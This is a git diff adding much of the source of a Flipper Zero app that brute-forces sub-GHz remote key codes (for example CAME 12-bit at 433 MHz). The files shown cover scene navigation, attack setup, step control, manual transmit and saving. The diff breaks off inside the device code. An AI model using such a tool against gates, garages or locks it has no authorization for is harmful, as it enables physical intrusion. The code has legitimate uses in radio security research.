"subbrute_scene.h" + +#define TAG "SubBruteSceneStart" + +void subbrute_scene_load_select_callback(SubBruteCustomEvent event, void* context) { + furi_assert(context); + + SubBruteState* instance = (SubBruteState*)context; + view_dispatcher_send_custom_event(instance->view_dispatcher, event); +} + +void subbrute_scene_load_select_on_enter(void* context) { + furi_assert(context); +#ifdef FURI_DEBUG + FURI_LOG_I(TAG, "subbrute_scene_load_select_on_enter"); +#endif + SubBruteState* instance = (SubBruteState*)context; + SubBruteMainView* view = instance->view_main; + + instance->current_view = SubBruteViewMain; + subbrute_main_view_set_callback(view, subbrute_scene_load_select_callback, instance); + subbrute_main_view_set_index( + view, 7, true, instance->device->two_bytes, instance->device->key_from_file); + + view_dispatcher_switch_to_view(instance->view_dispatcher, instance->current_view); +} + +void subbrute_scene_load_select_on_exit(void* context) { + UNUSED(context); +#ifdef FURI_DEBUG + FURI_LOG_I(TAG, "subbrute_scene_load_select_on_exit"); +#endif +} + +bool subbrute_scene_load_select_on_event(void* context, SceneManagerEvent event) { + SubBruteState* instance = (SubBruteState*)context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubBruteCustomEventTypeIndexSelected) { + /*#ifdef FURI_DEBUG && !SUBBRUTE_FAST_TRACK + view_dispatcher_stop(instance->view_dispatcher); + consumed = true; +#else*/ + instance->device->current_step = 0; + instance->device->bit_index = subbrute_main_view_get_index(instance->view_main); + instance->device->two_bytes = subbrute_main_view_get_two_bytes(instance->view_main); + uint8_t extra_repeats = subbrute_main_view_get_extra_repeats(instance->view_main); + instance->device->max_value = subbrute_protocol_calc_max_value( + instance->device->attack, + instance->device->bit_index, + instance->device->two_bytes); + + if(!subbrute_worker_init_file_attack( + instance->worker, + instance->device->current_step, + instance->device->bit_index, + instance->device->key_from_file, + instance->device->file_protocol_info, + extra_repeats, + instance->device->two_bytes)) { + furi_crash("Invalid attack set!"); + } + scene_manager_next_scene(instance->scene_manager, SubBruteSceneSetupAttack); + /*#endif*/ + consumed = true; + } /* else if(event.event == SubBruteCustomEventTypeChangeStepUp) { + instance->device->two_bytes = true; + } else if(event.event == SubBruteCustomEventTypeChangeStepDown) { + instance->device->two_bytes = false; + }*/ + } else if(event.type == SceneManagerEventTypeBack) { + if(!scene_manager_search_and_switch_to_previous_scene( + instance->scene_manager, SubBruteSceneStart)) { + scene_manager_next_scene(instance->scene_manager, SubBruteSceneStart); + } + consumed = true; + } + + return consumed; +} \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_run_attack.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_run_attack.c new file mode 100644 index 000000000..2f22c25d4 --- /dev/null +++ b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_run_attack.c @@ -0,0 +1,104 @@ +#include "../subbrute_i.h" +#include "subbrute_scene.h" + +#define TAG "SubBruteSceneRunAttack" + +static void subbrute_scene_run_attack_callback(SubBruteCustomEvent event, void* context) { + furi_assert(context); + + SubBruteState* instance = (SubBruteState*)context; + view_dispatcher_send_custom_event(instance->view_dispatcher, event); +} + +static void + subbrute_scene_run_attack_device_state_changed(void* context, SubBruteWorkerState state) { + furi_assert(context); + + SubBruteState* instance = (SubBruteState*)context; + + if(state == SubBruteWorkerStateIDLE) { + // Can't be IDLE on this step! + view_dispatcher_send_custom_event(instance->view_dispatcher, SubBruteCustomEventTypeError); + } else if(state == SubBruteWorkerStateFinished) { + view_dispatcher_send_custom_event( + instance->view_dispatcher, SubBruteCustomEventTypeTransmitFinished); + } +} +void subbrute_scene_run_attack_on_exit(void* context) { + furi_assert(context); + SubBruteState* instance = (SubBruteState*)context; + + notification_message(instance->notifications, &sequence_blink_stop); + subbrute_worker_stop(instance->worker); +} + +void subbrute_scene_run_attack_on_enter(void* context) { + furi_assert(context); + SubBruteState* instance = (SubBruteState*)context; + SubBruteAttackView* view = instance->view_attack; + + instance->current_view = SubBruteViewAttack; + subbrute_attack_view_set_callback(view, subbrute_scene_run_attack_callback, instance); + view_dispatcher_switch_to_view(instance->view_dispatcher, instance->current_view); + + subbrute_worker_set_callback( + instance->worker, subbrute_scene_run_attack_device_state_changed, instance); + + if(!subbrute_worker_is_running(instance->worker)) { + subbrute_worker_set_step(instance->worker, instance->device->current_step); + if(!subbrute_worker_start(instance->worker)) { + view_dispatcher_send_custom_event( + instance->view_dispatcher, SubBruteCustomEventTypeError); + } else { + notification_message(instance->notifications, &sequence_single_vibro); + notification_message(instance->notifications, &sequence_blink_start_yellow); + } + } +} + +bool subbrute_scene_run_attack_on_event(void* context, SceneManagerEvent event) { + SubBruteState* instance = (SubBruteState*)context; + SubBruteAttackView* view = instance->view_attack; + + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + uint64_t step = subbrute_worker_get_step(instance->worker); + instance->device->current_step = step; + subbrute_attack_view_set_current_step(view, step); + + if(event.event == SubBruteCustomEventTypeTransmitFinished) { + notification_message(instance->notifications, &sequence_display_backlight_on); + notification_message(instance->notifications, &sequence_double_vibro); + + scene_manager_next_scene(instance->scene_manager, SubBruteSceneSetupAttack); + } else if( + event.event == SubBruteCustomEventTypeTransmitNotStarted || + event.event == SubBruteCustomEventTypeBackPressed) { + if(subbrute_worker_is_running(instance->worker)) { + // Notify + notification_message(instance->notifications, &sequence_single_vibro); + } + // Stop transmit + scene_manager_search_and_switch_to_previous_scene( + instance->scene_manager, SubBruteSceneSetupAttack); + } else if(event.event == SubBruteCustomEventTypeError) { + notification_message(instance->notifications, &sequence_error); + + // Stop transmit + scene_manager_search_and_switch_to_previous_scene( + instance->scene_manager, SubBruteSceneSetupAttack); + } else if(event.event == SubBruteCustomEventTypeUpdateView) { + //subbrute_attack_view_set_current_step(view, instance->device->current_step); + } + consumed = true; + } else if(event.type == SceneManagerEventTypeTick) { + uint64_t step = subbrute_worker_get_step(instance->worker); + instance->device->current_step = step; + subbrute_attack_view_set_current_step(view, step); + + consumed = true; + } + + return consumed; +} diff --git a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_save_name.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_save_name.c new file mode 100644 index 000000000..bb129e948 --- /dev/null +++ b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_save_name.c @@ -0,0 +1,84 @@ +#include "../subbrute_i.h" +#include "subbrute_scene.h" +#include + +#define TAG "SubBruteSceneSaveFile" + +void subbrute_scene_save_name_on_enter(void* context) { + SubBruteState* instance = (SubBruteState*)context; + + // Setup view + TextInput* text_input = instance->text_input; + set_random_name(instance->text_store, sizeof(instance->text_store)); + + text_input_set_header_text(text_input, "Name of file"); + text_input_set_result_callback( + text_input, + subbrute_text_input_callback, + instance, + instance->text_store, + SUBBRUTE_MAX_LEN_NAME, + true); + + furi_string_reset(instance->file_path); + furi_string_set_str(instance->file_path, SUBBRUTE_PATH); + + ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( + furi_string_get_cstr(instance->file_path), SUBBRUTE_FILE_EXT, ""); + text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); + + view_dispatcher_switch_to_view(instance->view_dispatcher, SubBruteViewTextInput); +} + +bool subbrute_scene_save_name_on_event(void* context, SceneManagerEvent event) { + SubBruteState* instance = (SubBruteState*)context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeBack) { + scene_manager_previous_scene(instance->scene_manager); + return true; + } else if( + event.type == SceneManagerEventTypeCustom && + event.event == SubBruteCustomEventTypeTextEditDone) { +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "Saving: %s", instance->text_store); +#endif + bool success = false; + if(strcmp(instance->text_store, "")) { + furi_string_reset(instance->file_path); + furi_string_cat_printf( + instance->file_path, + "%s/%s%s", + SUBBRUTE_PATH, + instance->text_store, + SUBBRUTE_FILE_EXT); + + if(subbrute_device_save_file( + instance->device, furi_string_get_cstr(instance->file_path))) { + scene_manager_next_scene(instance->scene_manager, SubBruteSceneSaveSuccess); + success = true; + consumed = true; + } + } + + if(!success) { + dialog_message_show_storage_error(instance->dialogs, "Error during saving!"); + consumed = scene_manager_search_and_switch_to_previous_scene( + instance->scene_manager, SubBruteSceneSetupAttack); + } + } + return consumed; +} + +void subbrute_scene_save_name_on_exit(void* context) { + SubBruteState* instance = (SubBruteState*)context; + + // Clear view + void* validator_context = text_input_get_validator_callback_context(instance->text_input); + text_input_set_validator(instance->text_input, NULL, NULL); + validator_is_file_free(validator_context); + + text_input_reset(instance->text_input); + + furi_string_reset(instance->file_path); +} diff --git a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_save_success.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_save_success.c new file mode 100644 index 000000000..20b1a0de4 --- /dev/null +++ b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_save_success.c @@ -0,0 +1,51 @@ +#include "../subbrute_i.h" +#include "subbrute_scene.h" + +void subbrute_scene_save_success_on_enter(void* context) { + furi_assert(context); + SubBruteState* instance = context; + + // Setup view + Popup* popup = instance->popup; + popup_set_icon(popup, 32, 5, &I_DolphinNice_96x59); + popup_set_header(popup, "Saved!", 13, 22, AlignLeft, AlignBottom); + popup_set_timeout(popup, 1500); + popup_set_context(popup, instance); + popup_set_callback(popup, subbrute_popup_closed_callback); + popup_enable_timeout(popup); + view_dispatcher_switch_to_view(instance->view_dispatcher, SubBruteViewPopup); +} + +bool subbrute_scene_save_success_on_event(void* context, SceneManagerEvent event) { + furi_assert(context); + + SubBruteState* instance = (SubBruteState*)context; + //SubBruteMainView* view = instance->view_main; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubBruteCustomEventTypePopupClosed) { + if(!scene_manager_search_and_switch_to_previous_scene( + instance->scene_manager, SubBruteSceneSetupAttack)) { + scene_manager_next_scene(instance->scene_manager, SubBruteSceneStart); + } + return true; + } + } + return false; +} + +void subbrute_scene_save_success_on_exit(void* context) { + furi_assert(context); + + SubBruteState* instance = (SubBruteState*)context; + + // Clear view + Popup* popup = instance->popup; + popup_set_header(popup, NULL, 0, 0, AlignCenter, AlignBottom); + popup_set_text(popup, NULL, 0, 0, AlignCenter, AlignTop); + popup_set_icon(popup, 0, 0, NULL); + popup_set_callback(popup, NULL); + popup_set_context(popup, NULL); + popup_set_timeout(popup, 0); + popup_disable_timeout(popup); +} diff --git a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_setup_attack.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_setup_attack.c new file mode 100644 index 000000000..c2877c7cb --- /dev/null +++ b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_setup_attack.c @@ -0,0 +1,138 @@ +#include "../subbrute_i.h" +#include "subbrute_scene.h" + +#define TAG "SubBruteSceneSetupAttack" + +static void subbrute_scene_setup_attack_callback(SubBruteCustomEvent event, void* context) { + furi_assert(context); + + SubBruteState* instance = (SubBruteState*)context; + view_dispatcher_send_custom_event(instance->view_dispatcher, event); +} + +static void + subbrute_scene_setup_attack_device_state_changed(void* context, SubBruteWorkerState state) { + furi_assert(context); + + SubBruteState* instance = (SubBruteState*)context; + + if(state == SubBruteWorkerStateIDLE) { + // Can't be IDLE on this step! + view_dispatcher_send_custom_event(instance->view_dispatcher, SubBruteCustomEventTypeError); + } +} + +void subbrute_scene_setup_attack_on_enter(void* context) { + furi_assert(context); + SubBruteState* instance = (SubBruteState*)context; + SubBruteAttackView* view = instance->view_attack; + + notification_message(instance->notifications, &sequence_reset_vibro); + +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "Enter Attack: %s", subbrute_protocol_name(instance->device->attack)); +#endif + + subbrute_worker_set_callback( + instance->worker, subbrute_scene_setup_attack_device_state_changed, context); + if(subbrute_worker_is_running(instance->worker)) { + subbrute_worker_stop(instance->worker); + instance->device->current_step = subbrute_worker_get_step(instance->worker); + } + + subbrute_attack_view_init_values( + view, + instance->device->attack, + instance->device->max_value, + instance->device->current_step, + false, + instance->device->extra_repeats); + + instance->current_view = SubBruteViewAttack; + subbrute_attack_view_set_callback(view, subbrute_scene_setup_attack_callback, instance); + view_dispatcher_switch_to_view(instance->view_dispatcher, instance->current_view); +} + +void subbrute_scene_setup_attack_on_exit(void* context) { + furi_assert(context); +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_scene_setup_attack_on_exit"); +#endif + SubBruteState* instance = (SubBruteState*)context; + subbrute_worker_stop(instance->worker); + notification_message(instance->notifications, &sequence_blink_stop); + notification_message(instance->notifications, &sequence_reset_vibro); +} + +bool subbrute_scene_setup_attack_on_event(void* context, SceneManagerEvent event) { + SubBruteState* instance = (SubBruteState*)context; + SubBruteAttackView* view = instance->view_attack; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubBruteCustomEventTypeTransmitStarted) { + scene_manager_next_scene(instance->scene_manager, SubBruteSceneRunAttack); + } else if(event.event == SubBruteCustomEventTypeSaveFile) { + subbrute_attack_view_init_values( + view, + instance->device->attack, + instance->device->max_value, + instance->device->current_step, + false, + instance->device->extra_repeats); + scene_manager_next_scene(instance->scene_manager, SubBruteSceneSaveName); + } else if(event.event == SubBruteCustomEventTypeBackPressed) { + subbrute_attack_view_init_values( + view, + instance->device->attack, + instance->device->max_value, + instance->device->current_step, + false, + instance->device->extra_repeats); + scene_manager_next_scene(instance->scene_manager, SubBruteSceneStart); + } else if(event.event == SubBruteCustomEventTypeError) { + notification_message(instance->notifications, &sequence_error); + } else if(event.event == SubBruteCustomEventTypeTransmitCustom) { + // We can transmit only in not working states + if(subbrute_worker_can_manual_transmit(instance->worker)) { + // MANUAL Transmit! + // Blink + notification_message(instance->notifications, &sequence_blink_green_100); + subbrute_worker_transmit_current_key( + instance->worker, instance->device->current_step); + // Stop + notification_message(instance->notifications, &sequence_blink_stop); + } + } else if(event.event == SubBruteCustomEventTypeChangeStepUp) { + // +1 + uint64_t step = subbrute_device_add_step(instance->device, 1); + subbrute_worker_set_step(instance->worker, step); + subbrute_attack_view_set_current_step(view, step); + } else if(event.event == SubBruteCustomEventTypeChangeStepUpMore) { + // +50 + uint64_t step = subbrute_device_add_step(instance->device, 50); + subbrute_worker_set_step(instance->worker, step); + subbrute_attack_view_set_current_step(view, step); + } else if(event.event == SubBruteCustomEventTypeChangeStepDown) { + // -1 + uint64_t step = subbrute_device_add_step(instance->device, -1); + subbrute_worker_set_step(instance->worker, step); + subbrute_attack_view_set_current_step(view, step); + } else if(event.event == SubBruteCustomEventTypeChangeStepDownMore) { + // -50 + uint64_t step = subbrute_device_add_step(instance->device, -50); + subbrute_worker_set_step(instance->worker, step); + subbrute_attack_view_set_current_step(view, step); + } + + consumed = true; + } else if(event.type == SceneManagerEventTypeTick) { + if(subbrute_worker_is_running(instance->worker)) { + instance->device->current_step = subbrute_worker_get_step(instance->worker); + } + subbrute_attack_view_set_current_step(view, instance->device->current_step); + consumed = true; + } + + return consumed; +} diff --git a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_start.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_start.c new file mode 100644 index 000000000..256762d92 --- /dev/null +++ b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_start.c @@ -0,0 +1,89 @@ +#include "../subbrute_i.h" +#include "subbrute_scene.h" + +#define TAG "SubBruteSceneStart" + +void subbrute_scene_start_callback(SubBruteCustomEvent event, void* context) { + furi_assert(context); + + SubBruteState* instance = (SubBruteState*)context; +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_scene_start_callback"); +#endif + view_dispatcher_send_custom_event(instance->view_dispatcher, event); +} + +void subbrute_scene_start_on_enter(void* context) { + furi_assert(context); +#ifdef FURI_DEBUG + FURI_LOG_I(TAG, "subbrute_scene_start_on_enter"); +#endif + SubBruteState* instance = (SubBruteState*)context; + SubBruteMainView* view = instance->view_main; + + instance->current_view = SubBruteViewMain; + subbrute_main_view_set_callback(view, subbrute_scene_start_callback, instance); + subbrute_main_view_set_index( + view, instance->device->attack, false, instance->device->two_bytes, 0); + + view_dispatcher_switch_to_view(instance->view_dispatcher, instance->current_view); + + // TODO: DELETE IT +#ifdef SUBBRUTE_FAST_TRACK + scene_manager_next_scene(instance->scene_manager, SubBruteSceneLoadFile); +#endif +} + +void subbrute_scene_start_on_exit(void* context) { + UNUSED(context); +#ifdef FURI_DEBUG + FURI_LOG_I(TAG, "subbrute_scene_start_on_exit"); +#endif +} + +bool subbrute_scene_start_on_event(void* context, SceneManagerEvent event) { + SubBruteState* instance = (SubBruteState*)context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { +#ifdef FURI_DEBUG + FURI_LOG_D( + TAG, + "Event: %ld, SubBruteCustomEventTypeMenuSelected: %s, SubBruteCustomEventTypeLoadFile: %s", + event.event, + event.event == SubBruteCustomEventTypeMenuSelected ? "true" : "false", + event.event == SubBruteCustomEventTypeLoadFile ? "true" : "false"); +#endif + if(event.event == SubBruteCustomEventTypeMenuSelected) { + SubBruteAttacks attack = subbrute_main_view_get_index(instance->view_main); + uint8_t extra_repeats = subbrute_main_view_get_extra_repeats(instance->view_main); + + if((subbrute_device_attack_set(instance->device, attack, extra_repeats) != + SubBruteFileResultOk) || + (!subbrute_worker_init_default_attack( + instance->worker, + attack, + instance->device->current_step, + instance->device->protocol_info, + instance->device->extra_repeats))) { + furi_crash("Invalid attack set!"); + } + scene_manager_next_scene(instance->scene_manager, SubBruteSceneSetupAttack); + + consumed = true; + } else if(event.event == SubBruteCustomEventTypeLoadFile) { + //uint8_t extra_repeats = subbrute_main_view_get_extra_repeats(instance->view_main); + + //instance->device->extra_repeats = extra_repeats; + scene_manager_next_scene(instance->scene_manager, SubBruteSceneLoadFile); + consumed = true; + } + } else if(event.type == SceneManagerEventTypeBack) { + //exit app + scene_manager_stop(instance->scene_manager); + view_dispatcher_stop(instance->view_dispatcher); + consumed = true; + } + + return consumed; +} \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/scenes/subbute_scene.c b/applications/external/subghz_bruteforcer/scenes/subbute_scene.c new file mode 100644 index 000000000..6d9ba9799 --- /dev/null +++ b/applications/external/subghz_bruteforcer/scenes/subbute_scene.c @@ -0,0 +1,30 @@ +#include "subbrute_scene.h" + +// Generate scene on_enter handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, +void (*const subbrute_on_enter_handlers[])(void*) = { +#include "subbrute_scene_config.h" +}; +#undef ADD_SCENE + +// Generate scene on_event handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, +bool (*const subbrute_on_event_handlers[])(void* context, SceneManagerEvent event) = { +#include "subbrute_scene_config.h" +}; +#undef ADD_SCENE + +// Generate scene on_exit handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, +void (*const subbrute_on_exit_handlers[])(void* context) = { +#include "subbrute_scene_config.h" +}; +#undef ADD_SCENE + +// Initialize scene handlers configuration structure +const SceneManagerHandlers subbrute_scene_handlers = { + .on_enter_handlers = subbrute_on_enter_handlers, + .on_event_handlers = subbrute_on_event_handlers, + .on_exit_handlers = subbrute_on_exit_handlers, + .scene_num = SubBruteSceneNum, +}; diff --git a/applications/external/subghz_bruteforcer/subbrute.c b/applications/external/subghz_bruteforcer/subbrute.c new file mode 100644 index 000000000..59d2c1ccb --- /dev/null +++ b/applications/external/subghz_bruteforcer/subbrute.c @@ -0,0 +1,202 @@ +#include "subbrute_i.h" +#include "subbrute_custom_event.h" +#include "scenes/subbrute_scene.h" +#include + +#define TAG "SubBruteApp" + +static bool subbrute_custom_event_callback(void* context, uint32_t event) { + furi_assert(context); + SubBruteState* instance = context; + return scene_manager_handle_custom_event(instance->scene_manager, event); +} + +static bool subbrute_back_event_callback(void* context) { + furi_assert(context); + SubBruteState* instance = context; + return scene_manager_handle_back_event(instance->scene_manager); +} + +static void subbrute_tick_event_callback(void* context) { + furi_assert(context); + SubBruteState* instance = context; + scene_manager_handle_tick_event(instance->scene_manager); +} + +SubBruteState* subbrute_alloc() { + SubBruteState* instance = malloc(sizeof(SubBruteState)); + + memset(instance->text_store, 0, sizeof(instance->text_store)); + instance->file_path = furi_string_alloc(); + + instance->scene_manager = scene_manager_alloc(&subbrute_scene_handlers, instance); + instance->view_dispatcher = view_dispatcher_alloc(); + + instance->gui = furi_record_open(RECORD_GUI); + + view_dispatcher_enable_queue(instance->view_dispatcher); + view_dispatcher_set_event_callback_context(instance->view_dispatcher, instance); + view_dispatcher_set_custom_event_callback( + instance->view_dispatcher, subbrute_custom_event_callback); + view_dispatcher_set_navigation_event_callback( + instance->view_dispatcher, subbrute_back_event_callback); + view_dispatcher_set_tick_event_callback( + instance->view_dispatcher, subbrute_tick_event_callback, 100); + + //Dialog + instance->dialogs = furi_record_open(RECORD_DIALOGS); + + // Notifications + instance->notifications = furi_record_open(RECORD_NOTIFICATION); + + // Devices + instance->device = subbrute_device_alloc(); + + // SubBruteWorker + instance->worker = subbrute_worker_alloc(); + + // TextInput + instance->text_input = text_input_alloc(); + view_dispatcher_add_view( + instance->view_dispatcher, + SubBruteViewTextInput, + text_input_get_view(instance->text_input)); + + // Custom Widget + instance->widget = widget_alloc(); + view_dispatcher_add_view( + instance->view_dispatcher, SubBruteViewWidget, widget_get_view(instance->widget)); + + // Popup + instance->popup = popup_alloc(); + view_dispatcher_add_view( + instance->view_dispatcher, SubBruteViewPopup, popup_get_view(instance->popup)); + + // ViewStack + instance->view_stack = view_stack_alloc(); + view_dispatcher_add_view( + instance->view_dispatcher, SubBruteViewStack, view_stack_get_view(instance->view_stack)); + + // SubBruteMainView + instance->view_main = subbrute_main_view_alloc(); + view_dispatcher_add_view( + instance->view_dispatcher, + SubBruteViewMain, + subbrute_main_view_get_view(instance->view_main)); + + // SubBruteAttackView + instance->view_attack = subbrute_attack_view_alloc(); + view_dispatcher_add_view( + instance->view_dispatcher, + SubBruteViewAttack, + subbrute_attack_view_get_view(instance->view_attack)); + + //instance->flipper_format = flipper_format_string_alloc(); + //instance->environment = subghz_environment_alloc(); + + return instance; +} + +void subbrute_free(SubBruteState* instance) { + furi_assert(instance); + + // SubBruteWorker + subbrute_worker_stop(instance->worker); + subbrute_worker_free(instance->worker); + + // SubBruteDevice + subbrute_device_free(instance->device); + + // Notifications + notification_message(instance->notifications, &sequence_blink_stop); + furi_record_close(RECORD_NOTIFICATION); + instance->notifications = NULL; + + // View Main + view_dispatcher_remove_view(instance->view_dispatcher, SubBruteViewMain); + subbrute_main_view_free(instance->view_main); + + // View Attack + view_dispatcher_remove_view(instance->view_dispatcher, SubBruteViewAttack); + subbrute_attack_view_free(instance->view_attack); + + // TextInput + view_dispatcher_remove_view(instance->view_dispatcher, SubBruteViewTextInput); + text_input_free(instance->text_input); + + // Custom Widget + view_dispatcher_remove_view(instance->view_dispatcher, SubBruteViewWidget); + widget_free(instance->widget); + + // Popup + view_dispatcher_remove_view(instance->view_dispatcher, SubBruteViewPopup); + popup_free(instance->popup); + + // ViewStack + view_dispatcher_remove_view(instance->view_dispatcher, SubBruteViewStack); + view_stack_free(instance->view_stack); + + //Dialog + furi_record_close(RECORD_DIALOGS); + instance->dialogs = NULL; + + // Scene manager + scene_manager_free(instance->scene_manager); + + // View Dispatcher + view_dispatcher_free(instance->view_dispatcher); + + // GUI + furi_record_close(RECORD_GUI); + instance->gui = NULL; + + furi_string_free(instance->file_path); + + // The rest + free(instance); +} + +void subbrute_text_input_callback(void* context) { + furi_assert(context); + SubBruteState* instance = context; + view_dispatcher_send_custom_event( + instance->view_dispatcher, SubBruteCustomEventTypeTextEditDone); +} + +void subbrute_popup_closed_callback(void* context) { + furi_assert(context); + SubBruteState* instance = context; + view_dispatcher_send_custom_event( + instance->view_dispatcher, SubBruteCustomEventTypePopupClosed); +} + +// ENTRYPOINT +int32_t subbrute_app(void* p) { + UNUSED(p); + + DOLPHIN_DEED(DolphinDeedPluginStart); + SubBruteState* instance = subbrute_alloc(); + view_dispatcher_attach_to_gui( + instance->view_dispatcher, instance->gui, ViewDispatcherTypeFullscreen); + scene_manager_next_scene(instance->scene_manager, SubBruteSceneStart); + + // Enable power for External CC1101 if it is connected + furi_hal_subghz_enable_ext_power(); + // Auto switch to internal radio if external radio is not available + furi_delay_ms(15); + if(!furi_hal_subghz_check_radio()) { + furi_hal_subghz_set_radio_type(SubGhzRadioInternal); + } + + furi_hal_power_suppress_charge_enter(); + + notification_message(instance->notifications, &sequence_display_backlight_on); + view_dispatcher_run(instance->view_dispatcher); + furi_hal_power_suppress_charge_exit(); + // Disable power for External CC1101 if it was enabled and module is connected + furi_hal_subghz_disable_ext_power(); + + subbrute_free(instance); + + return 0; +} diff --git a/applications/external/subghz_bruteforcer/subbrute.h b/applications/external/subghz_bruteforcer/subbrute.h new file mode 100644 index 000000000..5fedb9158 --- /dev/null +++ b/applications/external/subghz_bruteforcer/subbrute.h @@ -0,0 +1,3 @@ +#pragma once + +typedef struct SubBruteState SubBruteState; \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/subbrute_custom_event.h b/applications/external/subghz_bruteforcer/subbrute_custom_event.h new file mode 100644 index 000000000..2864f8934 --- /dev/null +++ b/applications/external/subghz_bruteforcer/subbrute_custom_event.h @@ -0,0 +1,26 @@ +#pragma once + +typedef enum { + // Reserve first 100 events for button types and indexes, starting from 0 + SubBruteCustomEventTypeReserved = 100, + + SubBruteCustomEventTypeBackPressed, + SubBruteCustomEventTypeIndexSelected, + SubBruteCustomEventTypeTransmitStarted, + SubBruteCustomEventTypeError, + SubBruteCustomEventTypeTransmitFinished, + SubBruteCustomEventTypeTransmitNotStarted, + SubBruteCustomEventTypeTransmitCustom, + SubBruteCustomEventTypeSaveFile, + SubBruteCustomEventTypeUpdateView, + SubBruteCustomEventTypeChangeStepUp, + SubBruteCustomEventTypeChangeStepDown, + SubBruteCustomEventTypeChangeStepUpMore, + SubBruteCustomEventTypeChangeStepDownMore, + + SubBruteCustomEventTypeMenuSelected, + SubBruteCustomEventTypeTextEditDone, + SubBruteCustomEventTypePopupClosed, + + SubBruteCustomEventTypeLoadFile, +} SubBruteCustomEvent; \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/subbrute_device.c b/applications/external/subghz_bruteforcer/subbrute_device.c new file mode 100644 index 000000000..0971c380e --- /dev/null +++ b/applications/external/subghz_bruteforcer/subbrute_device.c @@ -0,0 +1,460 @@ +#include "subbrute_device.h" + +#include +#include +#include +#include +#include +#include + +#define TAG "SubBruteDevice" + +SubBruteDevice* subbrute_device_alloc() { + SubBruteDevice* instance = malloc(sizeof(SubBruteDevice)); + + instance->current_step = 0; + + instance->protocol_info = NULL; + instance->file_protocol_info = NULL; + instance->decoder_result = NULL; + instance->receiver = NULL; + instance->environment = subghz_environment_alloc(); + subghz_environment_set_protocol_registry( + instance->environment, (void*)&subghz_protocol_registry); + +#ifdef FURI_DEBUG + subbrute_device_attack_set_default_values(instance, SubBruteAttackLoadFile); +#else + subbrute_device_attack_set_default_values(instance, SubBruteAttackCAME12bit433); +#endif + return instance; +} + +void subbrute_device_free(SubBruteDevice* instance) { + furi_assert(instance); + + // I don't know how to free this + instance->decoder_result = NULL; + + if(instance->receiver != NULL) { + subghz_receiver_free(instance->receiver); + instance->receiver = NULL; + } + + subghz_environment_free(instance->environment); + instance->environment = NULL; + + subbrute_device_free_protocol_info(instance); + + free(instance); +} + +uint64_t subbrute_device_add_step(SubBruteDevice* instance, int8_t step) { + if(step > 0) { + if((instance->current_step + step) - instance->max_value == 1) { + instance->current_step = 0x00; + } else { + uint64_t value = instance->current_step + step; + if(value == instance->max_value) { + instance->current_step = value; + } else { + instance->current_step = value % instance->max_value; + } + } + } else { + if(instance->current_step + step == 0) { + instance->current_step = 0x00; + } else if(instance->current_step == 0) { + instance->current_step = instance->max_value; + } else { + uint64_t value = ((instance->current_step + step) + instance->max_value); + if(value == instance->max_value) { + instance->current_step = value; + } else { + instance->current_step = value % instance->max_value; + } + } + } + + return instance->current_step; +} + +bool subbrute_device_save_file(SubBruteDevice* instance, const char* dev_file_name) { + furi_assert(instance); + +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_device_save_file: %s", dev_file_name); +#endif + + Storage* storage = furi_record_open(RECORD_STORAGE); + FlipperFormat* file = flipper_format_file_alloc(storage); + bool result = false; + do { + if(!flipper_format_file_open_always(file, dev_file_name)) { + FURI_LOG_E(TAG, "Failed to open file: %s", dev_file_name); + break; + } + Stream* stream = flipper_format_get_raw_stream(file); + if(instance->attack == SubBruteAttackLoadFile) { + subbrute_protocol_file_generate_file( + stream, + instance->file_protocol_info->frequency, + instance->file_protocol_info->preset, + instance->file_protocol_info->file, + instance->current_step, + instance->file_protocol_info->bits, + instance->file_protocol_info->te, + instance->file_protocol_info->repeat, + instance->bit_index, + instance->key_from_file, + instance->two_bytes); + } else { + subbrute_protocol_default_generate_file( + stream, + instance->protocol_info->frequency, + instance->protocol_info->preset, + instance->protocol_info->file, + instance->current_step, + instance->protocol_info->bits, + instance->protocol_info->te, + instance->protocol_info->repeat); + } + + result = true; + } while(false); + + if(!result) { + FURI_LOG_E(TAG, "subbrute_device_save_file failed!"); + } + + flipper_format_file_close(file); + flipper_format_free(file); + furi_record_close(RECORD_STORAGE); + + return result; +} + +SubBruteFileResult subbrute_device_attack_set( + SubBruteDevice* instance, + SubBruteAttacks type, + uint8_t extra_repeats) { + furi_assert(instance); +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_device_attack_set: %d, extra_repeats: %d", type, extra_repeats); +#endif + subbrute_device_attack_set_default_values(instance, type); + + if(type != SubBruteAttackLoadFile) { + subbrute_device_free_protocol_info(instance); + instance->protocol_info = subbrute_protocol(type); + } + + instance->extra_repeats = extra_repeats; + + // For non-file types we didn't set SubGhzProtocolDecoderBase + instance->receiver 